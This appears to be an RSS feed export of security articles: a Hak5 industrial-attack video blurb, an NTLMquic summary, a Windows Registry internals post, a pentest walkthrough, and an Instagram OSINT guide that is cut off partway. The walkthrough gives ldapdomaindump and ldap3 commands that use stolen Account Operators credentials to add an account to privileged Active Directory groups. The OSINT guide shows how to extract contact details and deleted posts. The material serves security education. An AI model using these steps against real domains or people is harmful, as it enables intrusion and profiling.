<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title>Rob Fuller's broadcasted articles on Inoreader</title>
<link>https://www.inoreader.com/stream/user/1005877013/tag/user-broadcasted/view/html</link>
<description><![CDATA[]]></description>
<atom:link href="https://www.inoreader.com/stream/user/1005877013/tag/user-broadcasted" rel="self" type="application/rss+xml"></atom:link>
<atom:link href="http://inoreader.superfeedr.com/" rel="hub"></atom:link>
<generator>Inoreader (https://www.inoreader.com)</generator>
<pubDate>Sat, 11 Apr 2026 04:32:14 +0000</pubDate>
<lastBuildDate>Sat, 11 Apr 2026 04:32:14 +0000</lastBuildDate>
<language>en-US</language>
<item>
<title>Watch Hackers Destroy Industrial Systems With Code - Retia</title>
<link>https://www.youtube.com/watch?v=rIUhVDWQqTI</link>
<description><![CDATA[<p><iframe allowfullscreen="allowfullscreen" width="640" height="390" src="//www.youtube.com/embed/rIUhVDWQqTI?wmode=transparent&amp;rel=0&amp;autohide=0&amp;showinfo=0&amp;fs=1&amp;enablejsapi=0" frameborder="0"></iframe></p><p>Industrial control systems underpin modern society and have increasingly come under cyberattack. Watch hackers create a web-connected centrifuge and demonstrate a cyberattack designed to physically destroy them.<br> 
<br> 
To learn more about brute-forcing stay logged in cookies, check out our in-depth episode here: <a href="https://youtu.be/YRngT1fP1JA">https://youtu.be/YRngT1fP1JA</a><br> 
<br> 
-----☆-----☆-----☆-----☆-----☆-----☆-----☆-----☆-----☆-----☆<br> 
Our Site → <a href="https://www.hak5.org">https://www.hak5.org</a><br> 
Shop →  <a href="http://hakshop.myshopify.com/">http://hakshop.myshopify.com/</a><br> 
Subscribe → <a href="https://www.youtube.com/user/Hak5Darren?sub_confirmation=1">https://www.youtube.com/user/Hak5Darren?sub_confirmation=1</a><br> 
Support → <a href="https://www.patreon.com/threatwire">https://www.patreon.com/threatwire</a><br> 
Contact Us → <a href="http://www.twitter.com/hak5">http://www.twitter.com/hak5</a><br> 
-----☆-----☆-----☆-----☆-----☆-----☆-----☆-----☆-----☆-----☆<br> 
<br> 
____________________________________________<br> 
Founded in 2005, Hak5's mission is to advance the InfoSec industry. We do this through our award winning educational podcasts, leading pentest gear, and inclusive community – where all hackers belong.</p>]]></description>
<pubDate>Sat, 30 Apr 2022 02:56:34 +0000</pubDate>
<dc:creator>Hak5</dc:creator>
<source url="https://www.youtube.com/channel/UC3s0BtrBJpwNDaflRSoiieQ/videos">Hak5</source>
<guid isPermaLink="false">http://www.inoreader.com/article/3a9c6e7a1ced1afb</guid>
</item>
<item>
<title>NTLMquic</title>
<link>https://blog.xpnsec.com/ntlmquic/</link>
<description><![CDATA[In this post, we'll dig into just how SMB over QUIC works, answer some of the immediate questions around which attacks are feasible, and show how we can repurpose some existing tooling to capture NTLM handshakes.]]></description>
<pubDate>Sat, 30 Apr 2022 02:52:35 +0000</pubDate>
<dc:creator></dc:creator>
<source url="https://blog.xpnsec.com/">XPN Security</source>
<guid isPermaLink="false">http://www.inoreader.com/article/3a9c6e7a21a3b7f0</guid>
</item>
<item>
<title>Mysteries of the Registry</title>
<link>https://scorpiosoftware.net/2022/04/15/mysteries-of-the-registry/</link>
<description><![CDATA[<p>The Windows Registry is one of the most recognized aspects of Windows. It’s a hierarchical database, storing information on a machine-wide basis and on a per-user basis… mostly. In this post, I’d like to examine the major parts of the Registry, including the “real” Registry.</p> 
 
 
 
<p>Looking at the Registry is typically done by launching the built-in <strong>RegEdit.exe</strong> tool, which shows the five “hives” that seem to comprise the Registry:</p> 
 
 
 
<img src="https://zodiacon.files.wordpress.com/2022/04/image.png?w=776" alt="">RegEdit showing the main hives 
 
 
 
<p>These so-called “hives” provide some abstracted view of the information in the Registry. I’m saying “abstracted”, because not all of these are true hives. A true hive is stored in a file. The full hive list can be found in the Registry itself – at <strong>HKLM\SYSTEM\CurrentControlSet\Control\hivelist</strong> (I’ll abbreviate HKEY_LOCAL_MACHINE as HKLM), mapping an internal key name to the file where it’s stored (more on these “internal” key names will be discussed soon):</p> 
 
 
 
<img src="https://zodiacon.files.wordpress.com/2022/04/image-1.png?w=1024" alt="">The hive list 
 
 
 
<p>Let’s examine the so-called “hives” as seen in the root RegEdit’s view.</p> 
 
 
 
<ul><li><strong>HKEY_LOCAL_MACHINE</strong> is the simplest to understand. It contains machine-wide information, most of it stored in files (persistent). Some details related to hardware is built when the system initializes and is only kept in memory while the system is running. Such keys are <strong>volatile</strong>, since their contents disappear when the system is shut down.<br>There are many interesting keys within HKLM, but my goal is not to go over every key (that would take a full book), but highlight a few useful pieces. <strong>HKLM\System\CurrentControlSet\Services</strong> is the key where all services and device drivers are installed. Note that “CurrentControlSet” is not a true key, but in fact is a link key, connecting it to something like <strong>HKLM\System\ControlSet001</strong>. The reason for this indirection is beyond the scope of this post. <strong>Regedit </strong>does not show this fact directly – there is no way to tell whether a key is a true key or just points to a different key. This is one reason I created<strong> <a href="https://github.com/zodiacon/TotalRegistry">Total Registry</a></strong> (formerly called Registry Explorer), that shows these kind of nuances: </li></ul> 
 
 
 
<img src="https://zodiacon.files.wordpress.com/2022/04/image-2.png?w=1024" alt="">TotalRegistry showing HKLM\System\CurrentControlSet 
 
 
 
<p>The liked key seems to have a weird name starting with <strong>\REGISTRY</strong>\MACHINE\. We’ll get to that shortly.</p> 
 
 
 
<p>Other subkeys of note under HKLM include <strong>SOFTWARE</strong>, where installed applications store their system-level information; <strong>SAM</strong> and <strong>SECURITY</strong>, where local security policy and local accounts information are managed. These two subkeys contents is not not visible – even administrators don’t get access – only the <strong>SYSTEM</strong> account is granted access. One way to see what’s in these keys is to use <strong>psexec</strong> from Sysinternals to launch <strong>RegEdit</strong> or <strong>TotalRegistry</strong> under the <strong>SYSTEM</strong> account. Here is a command you can run in an elevated command window that will launch RegEdit under the SYSTEM account (if you’re using RegEdit, close it first):</p> 
 
 
<div><pre> 
psexec -s -i -d RegEdit 
</pre></div> 
 
 
<p>The <strong>-s</strong> switch indicates the SYSTEM account. <strong>-i</strong> is critical as to run the process in the interactive session (the default would run it in session 0, where no interactive user will ever see it). The <strong>-d</strong> switch is optional, and simply returns control to the console while the process is running, rather than waiting for the process to terminate.</p> 
 
 
 
<p>The other way to gain access to the <strong>SAM</strong> and <strong>SECURITY</strong> subkeys is to use the “Take Ownership” privilege (easy to do when the <strong>Permissions</strong> dialog is open), and transfer the ownership to an admin user – the owner can specify who can do what with an object, and allow itself full access. Obviously, this is not a good idea in general, as it weakens security.</p> 
 
 
 
<p> The <strong>BCD00000000</strong> subkey contains the Boot Configuration Data (BCD), normally accessed using the <strong>bcdedit.exe</strong> tool.</p> 
 
 
 
<ul><li><strong>HKEY_USERS</strong> – this is the other hive that truly stores data. Its subkeys contain user profiles for all users that ever logged in locally to this machine. Each subkey’s name is a <strong>Security ID </strong>(SID), in its string representation:<br></li></ul> 
 
 
 
<img src="https://zodiacon.files.wordpress.com/2022/04/image-4.png?w=1024" alt="">HKEY_USERS 
 
 
 
<p>There are 3 well-known SIDs, representing the <strong>SYSTEM</strong> (S-1-5-18), <strong>LocalService</strong> (S-1-5-19), and <strong>NetworkService </strong>(S-1-5-20) accounts. These are the typical accounts used for running Windows Services. “Normal” users get ugly SIDs, such as the one shown – that’s my user’s local SID. You may be wondering what is that “_Classes” suffix in the second key. We’ll get to that as well. </p> 
 
 
 
<ul><li><strong>HKEY_CURRENT_USER</strong> is a link key, pointing to the user’s subkey under HKEY_USERS running the current process. Obviously, the meaning of “current user” changes based on the process access token looking at the Registry.</li><li><strong>HKEY_CLASSES_ROOT</strong> is the most curious of the keys. It’s not a “real” key in the sense that it’s not a hive – not stored in a file. It’s not a link key, either. This key is a “combination” of two keys: <strong>HKLM\Software\Classes</strong> and <strong>HKCU\Software\Classes</strong>. In other words, the information in <strong>HKEY_CLASSES_ROOT</strong> is coming from the machine hive first, but can be overridden by the current user’s hive.<br>What information is there anyway? The first thing is shell-related information, such as file extensions and associations, and all other information normally used by Explorer.exe. The second thing is information related to the <strong>Component Object Model </strong>(COM). For example, the <strong>CLSID</strong> subkey holds COM class registration (GUIDs you can pass to <a href="https://docs.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance">CoCreateInstance </a>to (potentially) create a COM object of that class). Looking at the <strong>CLSID</strong> subkey under <strong>HKLM\Software\Classes</strong> shows there are 8160 subkeys, or roughly 8160 COM classes registered on my system from HKLM:<br></li></ul> 
 
 
 
<img src="https://zodiacon.files.wordpress.com/2022/04/image-5.png?w=1024" alt="">HKLM\Software\Classes 
 
 
 
<p>Looking at the same key under <strong>HKEY_CURRENT_USER</strong> tells a different story:<br></p> 
 
 
 
<img src="https://zodiacon.files.wordpress.com/2022/04/image-6.png?w=1024" alt="">HKCU\Software\Classes 
 
 
 
<p>Only 46 COM classes provide extra or overridden registrations. <strong>HKEY_CLASSES_ROOT</strong> combines both, and uses HKCU in case of a conflict (same key name). This explains the extra “_Classes” subkey within the HKEY_USERS key – it stores the per user stuff (in the file <strong>UsrClasses.dat</strong> in something like <strong>c:\Users\&lt;username&gt;\AppData\Local\Microsoft\Windows</strong>). </p> 
 
 
 
<ul><li><strong>HKEY_CURRENT_CONFIG</strong> is a link to <strong>HKLM\SYSTEM\CurrentControlSet\Hardware\Profiles\Current</strong><br><br>The list of “standard” hives (the hives accessible by official Windows APIs such as <a href="https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regopenkeyexw">RegOpenKeyEx </a>contains some more that are not shown by Regedit. They can be viewed by <strong>TotalReg </strong>if the option “Extra Hives” is selected in the View menu. At this time, however, the tool needs to be restarted for this change to take effect (I just didn’t get around to implementing the change dynamically, as it was low on my priority list). Here are all the hives accessible with the official Windows API:</li></ul> 
 
 
 
<img src="https://zodiacon.files.wordpress.com/2022/04/image-7.png?w=1024" alt="">All hives 
 
 
 
<p>I’ll let the interested reader to dig further into these “extra” hives. On of these hives deserves special mentioning – <strong>HKEY_PERFORMANCE_DATA</strong> – it was used in the pre Windows 2000 days as a way to access <a href="https://docs.microsoft.com/en-us/windows/win32/perfctrs/performance-counters-portal">Performance Counters</a>. Registry APIs had to be used at the time. Fortunately, starting from Windows 2000, a new dedicated API is provided to access Performance Counters (functions starting with Pdh* in &lt;pdh.h&gt;).</p> 
 
 
 
<p>Is this it? Is this the entire Registry? Not quite. As you can see in <strong>TotalReg</strong>, there is a node called “Registry”, that tells yet another story. Internally, all Registry keys are rooted in a single key called <strong>REGISTRY</strong>. This is the only named Registry key. You can see it in the root of the Object Manager’s namespace with <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/winobj"><strong>WinObj</strong> </a>from <strong><a href="https://docs.microsoft.com/en-us/sysinternals/">Sysinternals</a></strong>:</p> 
 
 
 
<img src="https://zodiacon.files.wordpress.com/2022/04/image-8.png?w=936" alt="">WinObj from Sysinternals showing the Registry key object 
 
 
 
<p>Here is the object details in a Local Kernel debugger:</p> 
 
 
<div><pre> 
lkd&gt; !object \registry 
Object: ffffe00c8564c860  Type: (ffff898a519922a0) Key 
    ObjectHeader: ffffe00c8564c830 (new version) 
    HandleCount: 1  PointerCount: 32770 
    Directory Object: 00000000  Name: \REGISTRY 
lkd&gt; !trueref ffffe00c8564c860 
ffffe00c8564c860: HandleCount: 1 PointerCount: 32770 RealPointerCount: 3 
</pre></div> 
 
 
<p>All other Registry keys are based off of that root key, the Configuration Manager (the kernel component in charge of the Registry) parses the remaining path as expected. This is the real Registry. The official Windows APIs cannot use this path format, but native APIs can. For example, using <strong>NtOpenKey</strong> (documented as <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-zwopenkey">ZwOpenKey </a>in the Windows Driver Kit, as this is a system call) allows such access. This is how TotalReg is able to look at the real Registry.</p> 
 
 
 
<p>Clearly, the normal user-mode APIs somehow map the “standard” hive path to the real Registry path. The simplest is the mapping of <strong>HKEY_LOCAL_MACHINE</strong> to <strong>\REGISTRY\MACHINE</strong>. Another simple one is <strong>HKEY_USERS</strong> mapped to <strong>\REGISTRY\USER</strong>. <strong>HKEY_CURRENT_USER</strong> is a bit more complex, and needs to be mapped to the per-user hive under <strong>\REGISTRY\USER</strong>. The most complex is our friend <strong>HKEY_CLASSES_ROOT</strong> – there is no simple mapping – the APIs have to check if there is per-user override or not, etc.</p> 
 
 
 
<p>Lastly, it seems there are keys in the real Registry that cannot be reached from the standard Registry at all:</p> 
 
 
 
<img src="https://zodiacon.files.wordpress.com/2022/04/image-9.png?w=1024" alt="">The real Registry 
 
 
 
<p>There is a key named “A” which seems inaccessible. This key is used for private keys in processes, very common in <strong>Universal Windows Application</strong> (UWP) processes, but can be used in other processes as well. They are not accessible generally, not even with kernel code – the Configuration Manager prevents it. You can verify their existence by searching for <strong>\Registry\A</strong> in tools like Process Explorer or TotalReg itself (by choosing <strong>Scan Key Handles</strong> from the <strong>Tools </strong>menu). Here is TotalReg, followed by Process Explorer:</p> 
 
 
 
<img src="https://zodiacon.files.wordpress.com/2022/04/image-10.png?w=1024" alt="">TotalReg key handles 
 
 
 
<img src="https://zodiacon.files.wordpress.com/2022/04/image-11.png?w=1024" alt="">Process Explorer key handles 
 
 
 
<p>Finally, the <strong>WC</strong> key is used for <strong>Windows Container</strong>, internally called <strong>Silos</strong>. A container (like the ones created by <em>Docker</em>) is an isolated instance of a user-mode OS, kind of like a lightweight virtual machine, but the kernel is not separate (as would be with a true VM), but is provided by the host. Silos are very interesting, but outside the scope of this post.</p> 
 
 
 
<p>Briefly, there are two main Silo types: An <strong>Application Silo</strong>, which is not a true container, and mostly used with application based on the <a href="https://techcommunity.microsoft.com/t5/windows-dev-appconsult/desktop-bridge-8211-the-bridge-between-desktop-apps-and-the/ba-p/316488">Desktop Bridge</a> technology. A classic example is <strong>WinDbg Preview</strong>. The second type is <strong>Server Silo</strong>, which is a true container. A true container must have its file system, Registry, and Object Manager namespace virtualized. This is exactly the role of the <strong>WC</strong> subkeys – provide the private Registry keys for containers. The Configuration Manager (as well as other parts of the kernel) are Silo-aware, and will redirect Registry calls to the correct subkey, having no effect on the Host Registry or the private Registry of other Silos.</p> 
 
 
 
<p>You can examine some aspects of silos with the kernel debugger <strong>!silo</strong> command. Here is an example from a server 2022 running a Server Silo and the Registry keys under <strong>WC</strong>:</p> 
 
 
<div><pre> 
lkd&gt; !silo 
		Address          Type       ProcessCount Identifier 
		ffff800f2986c2e0 ServerSilo 15           {1d29488c-bccd-11ec-a503-d127529101e4} (0n732) 
1 active Silo(s) 
lkd&gt; !silo ffff800f2986c2e0 
 
Silo ffff800f2986c2e0: 
		Job               : ffff800f2986c2e0 
		Type              : ServerSilo 
		Identifier        : {1d29488c-bccd-11ec-a503-d127529101e4} (0n732) 
		Processes         : 15 
 
Server silo globals ffff800f27e65a40: 
		Default Error Port: ffff800f234ee080 
		ServiceSessionId  : 217 
		Root Directory    : 00007ffcad26b3e1 '\Silos\732' 
		State             : Running 
</pre></div> 
 
 
<img src="https://zodiacon.files.wordpress.com/2022/04/image-12.png?w=1024" alt="">A Server Silo’s keys 
 
 
 
<p>There you have it. The relatively simple-looking Registry shown in RegEdit is viewed differently by the kernel. Device driver writers find this out relatively early – they cannot use the “abstractions” provided by user mode even if these are sometimes convenient.</p> 
 
 
 
<p></p> 
 
 
 
<p><br></p>]]></description>
<pubDate>Sat, 30 Apr 2022 02:22:05 +0000</pubDate>
<dc:creator>Pavel Yosifovich</dc:creator>
<source url="https://scorpiosoftware.net/">Pavel's Blog</source>
<guid isPermaLink="false">http://www.inoreader.com/article/3a9c6e7a251e2bbd</guid>
</item>
<item>
<title>Managing Active Directory groups from Linux</title>
<link>https://www.n00py.io/2020/01/managing-active-directory-groups-from-linux/</link>
<description><![CDATA[<p>I recently came across a peculiar scenario that caused me to have to think a little outside the box.</p> 
<p>I was able to obtain credentials for an account that was part of the “Account Operators” group.  Here is Microsoft’s description of that group:</p> 
<blockquote><p>The Account Operators group grants limited account creation privileges to a user. Members of this group can create and modify most types of accounts, including those of users, local groups, and global groups, and members can log in locally to domain controllers.</p> 
<p>Members of the Account Operators group cannot manage the Administrator user account, the user accounts of administrators, or the <a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn579255(v=ws.11)?redirectedfrom=MSDN">Administrators</a>, <a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn579255(v=ws.11)?redirectedfrom=MSDN">Server Operators</a>, <a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn579255(v=ws.11)?redirectedfrom=MSDN">Account Operators</a>, <a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn579255(v=ws.11)?redirectedfrom=MSDN">Backup Operators</a>, or <a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn579255(v=ws.11)?redirectedfrom=MSDN">Print Operators</a> groups. Members of this group cannot modify user rights.</p></blockquote> 
<p>While they cannot directly modify the group membership of administrators or built in administrative groups, the can modify any other group.  It is not uncommon for Active Directory administrators to create groups outside of the default admin groups, and grant them administrative privileges.  These group we can modify as an Account Operator.</p> 
<p>While this is easy to do with Active Directory Users and Computers, I had no such access.  I did not have shell access on a single Windows machine.  While Account Operators can log onto Domain Controllers locally, that does not include Remote Desktop.  I had to modify Active Directory group membership using only Linux.</p> 
<p>My first course of action was to extract as much domain information as I could using <a href="https://github.com/dirkjanm/ldapdomaindump">ldapdomaindump</a>.<br> 
You use it like so:</p> 
<pre>ldapdomaindump -u DOMAIN\\USER -p PASSWORD DC</pre> 
<p>I will then run:</p> 
<pre>cat domain_groups.json | grep dn</pre> 
<p>To get all of the <a href="https://ldapwiki.com/wiki/Distinguished%20Names">Distinguished Names</a> (DN) for all of the groups.<br> 
Based on the <a href="https://ldapwiki.com/wiki/CommonName">Common Name</a> (CN) you should be able to get an idea about what the group does, and if it might grant additional rights.</p> 
<p>To actually modify those groups, you can use the <a href="https://ldap3.readthedocs.io/">ldap3 library</a>.</p> 
<p>Just go:</p> 
<pre>pip install ldap3</pre> 
<p>After you have that installed, run python.</p> 
<pre>&gt;&gt;&gt; import ldap3
 

 
&gt;&gt;&gt; user = "USERNAME"
 

 
&gt;&gt;&gt; password = 'PASSWORD'
 

 
&gt;&gt;&gt; server = ldap3.Server('DOMAIN')
 

 
&gt;&gt;&gt; connection = ldap3.Connection(server, user=user, password=password)
 
&gt;&gt;&gt; connection.bind()</pre> 
<p>After that is successful, you can now start modifying groups.  You will also need the DN of the user account you wish to add ot the group, and you can get that from the LDAP dump also.</p> 
<p>Put the user DN and group DN into a variable:</p> 
<pre>&gt;&gt;&gt; user_dn = 'USER_DN'</pre> 
<pre>&gt;&gt; groups_dn = "GROUP_DN"</pre> 
<p>Then use <a href="https://ldap3.readthedocs.io/ldap3.extend.microsoft.addMembersToGroups.html">this import</a>:</p> 
<pre>&gt;&gt;&gt; from ldap3.extend.microsoft.addMembersToGroups import ad_add_members_to_groups as addUsersInGroups</pre> 
<p>Then you can run:</p> 
<pre>&gt;&gt; addUsersInGroups(connection, user_dn, group_dn)</pre> 
<p>This should now add that user to the specified group.  If it fails, it will return False.  This means you don’t have permission to modify that group, so try a different one.</p> 
<p>To validate that the user was added, you can get a full listing of all that user’s groups by running:</p> 
<pre>&gt;&gt;&gt; connection.search(search_base='DC=DOMAIN,DC=com', search_filter='(&amp;(objectClass=user)(userPrincipalName='+user+'))', search_scope='SUBTREE', attributes='*')</pre> 
<p>With the user variable corresponding to the username.</p> 
<p>Then run:</p> 
<pre>&gt;&gt;&gt; for memb in attrs['memberOf']:
 

 
     print(memb.partition('=')[2].partition(',')[0])</pre> 
<p>This should then print out all the groups that account is a member of.  Your newly added group should be in that list.</p> 
<p>In my case, I was able to add the compromised account to multiple custom groups, which gave me local admin on most internal servers.</p> 
 
<div><a href="https://twitter.com/intent/tweet?url=https%3A%2F%2Fwww.n00py.io%2F2020%2F01%2Fmanaging-active-directory-groups-from-linux%2F&amp;via=n00py1">Tweet</a></div>]]></description>
<pubDate>Fri, 17 Jan 2020 17:27:39 +0000</pubDate>
<dc:creator>n00py</dc:creator>
<source url="https://www.n00py.io/">n00py Blog</source>
<guid isPermaLink="false">http://www.inoreader.com/article/3a9c6e78ef439650</guid>
</item>
<item>
<title>Searching Instagram – part 2</title>
<link>https://osintcurio.us/2019/10/01/searching-instagram-part-2/</link>
<description><![CDATA[<p>After <a href="http://twitter.com/technisette">@technisette</a> posted a blog about how to search Instagram, we knew we needed to make a ‘part 2’. So if you’ve got the <a href="https://osintcurio.us/2019/07/16/searching-instagram/">basics</a> down, here are some extras!</p> 
 
 
 
<h2>Searching for business account contact details without tools</h2> 
 
 
 
<p>In the first part we talked about retrieving contact details from Instagram business accounts with the help of the Chrome addon <a href="https://chrome.google.com/webstore/detail/helper-tools-for-instagra/hcdbfckhdcpepllecbkaaojfgipnpbpb">Helper Tools for Instagram</a>. This addon can still help you determine if an account is a ‘business’ account or not. Where in the first blog we pointed out that you’ll need a mobile phone in order to actually view the contact details, we’ve got a better solution for you now!</p> 
 
 
 
<p>The contact details can also be viewed when logged on to the website! <a href="http://twitter.com/sector035">@Sector035</a> found a way <a href="https://twitter.com/Sector035/status/1153309691151302662">how</a>:</p> 
 
 
 
<ul><li>Make sure to log on to your Instagram (research) account in a webbrowser</li><li>Visit the account you’re interested in and check if this is a business account. You could check using the <a href="https://chrome.google.com/webstore/detail/helper-tools-for-instagra/hcdbfckhdcpepllecbkaaojfgipnpbpb">Helper Tools</a>, but you can also just try your luck by just continuing with the next steps.</li><li>Now we need to retrieve the Instagram user ID. You can do this by right clicking somewhere on the page of interest where there is no contact (e.g. on the right or left side) and select ‘View page source’ (or use Ctrl+U, this works in most browsers).</li><li>Search, using Ctrl+F, for <strong>profilePage_</strong> (The number behind ‘profilePage_’ is the number you need to copy.)</li></ul><img src="https://osintcurio.files.wordpress.com/2019/09/screenshot-2019-09-10-at-09.52.38.png?w=1024" alt="">Example of a user ID of the Instagram page of Starbucks<ul><li>Now open a new tab and paste the following URL. Replace “<strong>ID</strong>” for the ID number you’ve found on your page of interest.</li><li><a href="https://i.instagram.com/api/v1/users/">https://i.instagram.com/api/v1/users/</a><strong>ID</strong>/info/ <br>(e.g. <em><a href="https://i.instagram.com/api/v1/users/1034466/info">https://i.instagram.com/api/v1/users/1034466/info</a></em>)</li></ul><p>You’ll now be able to see the information that the business account has filled in!</p> 
 
 
 
<p>If we look at the example used of Starbucks, your result will look like this:</p> 
 
 
 
<img src="https://osintcurio.files.wordpress.com/2019/09/screenshot-2019-09-10-at-09.54.39.png?w=882" alt="">You’ll see that the ‘is_business’ is set at TRUE and you’ll be able to see email address and phone number<p>There is also a lot of other interesting things to be gathered here next to the contact details! Like the ‘instagram_location_id’ for example. If you copy this number and place it behind ‘facebook.com’ (<a href="http://facebook.com/22092443056">facebook.com/22092443056</a>), it will give you the Facebook-account for Starbucks!</p> 
 
 
 
<p>Other things that might be interesting are the exact amount of following/followers and much more. So go and take a peak <img src="https://s0.wp.com/wp-content/mu-plugins/wpcom-smileys/twemoji/2/72x72/1f642.png" alt="🙂"></p> 
 
 
 
<h2>Searching for deleted Instagram content</h2> 
 
 
 
<p>We all know that online content can be removed as fast as it was uploaded. So searching for any deleted content might be interesting.</p> 
 
 
 
<p>Not that long ago we wrote a blog on <a href="https://osintcurio.us/2019/02/12/osint-on-deleted-content/">how to find deleted content</a>, with a section that specifically explains how to find any social media posts/profiles that have been deleted. <br>In the blog we refer to <a href="http://archive.org">Archive.org</a> as a good resource to find older Instagram posts, with an example of the Instagram profile of DJ Hardwell (click <a href="https://web.archive.org/web/20170326031437/https://www.instagram.com/hardwell/">here</a> for the archived profile and <a href="https://www.instagram.com/hardwell/">here</a> for to current profile).</p> 
 
 
 
<img src="https://osintcurio.files.wordpress.com/2019/07/screenshot-2019-07-30-at-21.42.18.png" alt="">Left: Archive.org<br>Right: Instagram.com/hardwell<p>When looking into any famous people, there is a big chance that there are other accounts mimicking the accounts of famous people. For example; there are multiple accounts of reality star Kim Kardashian where they repost everything she does on Instagram or post everything she posts on Snapchat on an <a href="https://www.instagram.com/kimkardashiansnap">Instagram account</a>.</p> 
 
 
 
<p>By looking into these ‘fan accounts’ you might be able to find any data that might have been deleted already.</p> 
 
 
 
<p>Another way to search for deleted content is to use <a href="https://google.com">Google</a>.</p> 
 
 
 
<p>As you might know there are many different websites that also use the posts from Instagram to display on their website. By using a Google Dork you can find websites using Instagram posts and you might be able to find some deleted content. This because those websites might run a little behind on the real Instagram posts.</p> 
 
 
 
<p>Use: <em>-site:instagram.com instagram keyword -twitter</em> <br><strong>-site:instagram</strong> = to exclude any results for the website instagram.com<br><strong>instagram</strong> = to focus on Instagram posts<br><strong>keyword</strong> = replace ‘keyword’ by the keyword or username you’re searching for.<br><strong>-twitter</strong> = because Twitter gives a lot of false positives in these results.</p> 
 
 
 
<p>Example: <em><a href="https://www.google.com/search?ei=zcCLXaHlEszRwAKZn7voBg&amp;q=-site%3Ainstagram.com+instagram+hardwell+-twitter&amp;oq=-site%3Ainstagram.com+instagram+hardwell+-twitter&amp;gs_l=psy-ab.3...32410.51652..51755...2.2..0.139.2584.46j1....2..0....1..gws-wiz.....0..0i71j0i273j0i67j0i131j0j0i10.xYF3MpSufhk&amp;ved=0ahUKEwjh_7K12-zkAhXMKFAKHZnPDm0Q4dUDCAs&amp;uact=5">-site:instagram.com instagram hardwell -twitter</a></em></p> 
 
 
 
<img src="https://osintcurio.files.wordpress.com/2019/09/screenshot-2019-09-25-at-21.40.56.png?w=1024" alt="">Example: <em>-site:instagram.com instagram hardwell -twitter</em><p>Or you could try to set up a web monitoring tool to detect any changes on a website. These kind of tools can capture whatever is changing on the page and this way you won’t miss any posts.</p> 
 
 
 
<h2>Searching Twitter for Instagram content</h2> 
 
 
 
<p>Another way to find Instagram accounts of people you might be interested in, or any posts related to a specific topic, is via Twitter.</p> 
 
 
 
<p>Twitter has changed a lot recently. Luckily <a href="http://twitter.com/dutch_osintguy">@Dutch_osintguy</a> wrote a<strong> </strong><a href="https://osintcurio.us/2019/08/01/muting-the-twitter-algorithm-and-using-basic-search-operators-for-better-osint-research/">blog</a> on how to navigate through it all. And there are some great ways to explore Twitter to find Instagram profiles or posts.</p> 
 
 
 
<p>First, you won’t need an account for Twitter in order to search Twitter. Just navigate to <a href="https://twitter.com/explore">Twitter.com/explore</a> in order to use the top search bar.</p> 
 
 
 
<p>Now in order to search for Instagram content, use the following search queries:<br> – <a href="https://twitter.com/search?q=instagram.com%2Fp&amp;src=typed_query&amp;f=live">instagram.com/p </a>(will show tweets containing ‘instagram.com/p’)<br> – <a href="https://twitter.com/search?q=source%3Ainstagram%20party&amp;src=typed_query&amp;f=live">source:Instagram <strong>party</strong> </a>(will show tweets containing the word ‘party’ with Instagram posts. Change the word ‘party’ into whatever you’re looking for.)<br> – <a href="https://twitter.com/search?q=filter%3Alinks%20instagram&amp;src=typed_query&amp;f=live">instagram filter:links</a> (tweets containing an URL and the word ‘Instagram’.)</p> 
 
 
 
<p>When executing these queries, make sure to switch to the ‘Latest’ tweets in order to see the most recent posts.</p> 
 
 
 
<p>Also, when you’re comfortable searching Twitter, try to ‘query juggle’ and build more comprehensive queries in order to find exactly what you’re looking for. E.g.: <a href="https://twitter.com/search?q=instagram.com%2Fp%20near%3AAmsterdam%20within%3A15mi&amp;src=typed_query&amp;f=live">instagram.com/p near:Amsterdam within:15mi</a></p> 
 
 
 
<img src="https://osintcurio.files.wordpress.com/2019/07/screenshot-2019-07-30-at-22.07.59.png" alt="">Don’t forget to select ‘Latest’ to see the most recent posts!<h2>Searching for older photos tagged to a location</h2> 
 
 
 
<p><a href="http://twitter.com/osintcombine">OSINT Combine</a> has build this pretty awesome search engine to help you find older photos tagged to a location in Instagram (click <a href="https://www.osintcombine.com/instagram-explorer">here</a>).</p> 
 
 
 
<p>In the ‘<a href="https://osintcurio.us/2019/07/16/searching-instagram/">Searching Instagram – part 1</a>‘ we referred to a <a href="https://youtu.be/FYnfKghpJBw">YouTube video</a> which explains a pretty comprehensive method to calculate this number which you could use to search for older posts tagged to a location. Well, OSINT Combine has solved this problem for you with their search engine. It works pretty easy; just paste the URL of any given Instagram location and adjust the date. Click on the green search icon in order to search, scroll down to the ‘Most recent’ section and voila! There are the Instagram posts you’re interested in!</p> 
 
 
 
<p><em>Attention</em>: Instagram went online on the 24th of Augustus 2011, you won’t find any posts older than this date.</p> 
 
 
 
<img src="https://osintcurio.files.wordpress.com/2019/07/screenshot-2019-07-28-at-20.37.40.png" alt="">1. Search for your location on Instagram, select the location and copy the URL<br>2. Past the selected URL in the ‘Find Photos’ box, select a date and click on the green button<br>3. Scroll down in Instagram to ‘Most recent’ to view photos of date selected<h2>Searching for just Instagram video’s</h2> 
 
 
 
<p>In the ‘<a href="https://osintcurio.us/2019/07/16/searching-instagram/">Searching Instagram – part 1</a>‘ we showed how to search for hashtags and find the Instagram stories and posts shared with that specific hashtag. But if you’re searching for just only videos shared with a specific hashtag, <a href="http://skimagram.com">skimagram.com</a> will help you out.</p> 
 
 
 
<p>Just type in the hashtag you’re looking for and select (on the right, shown in the red box in the screenshot below) if you’re looking for videos or posts. Select the video-icon in order to just search for videos.</p> 
 
 
 
<p><em>Attention</em>: this will only search for videos, not for Instagram Stories.</p> 
 
 
 
<img src="https://osintcurio.files.wordpress.com/2019/07/screenshot-2019-07-28-at-20.22.08.png" alt="">Example from Skimagram.com<h2>Searching for multiple hashtags</h2> 
 
 
 
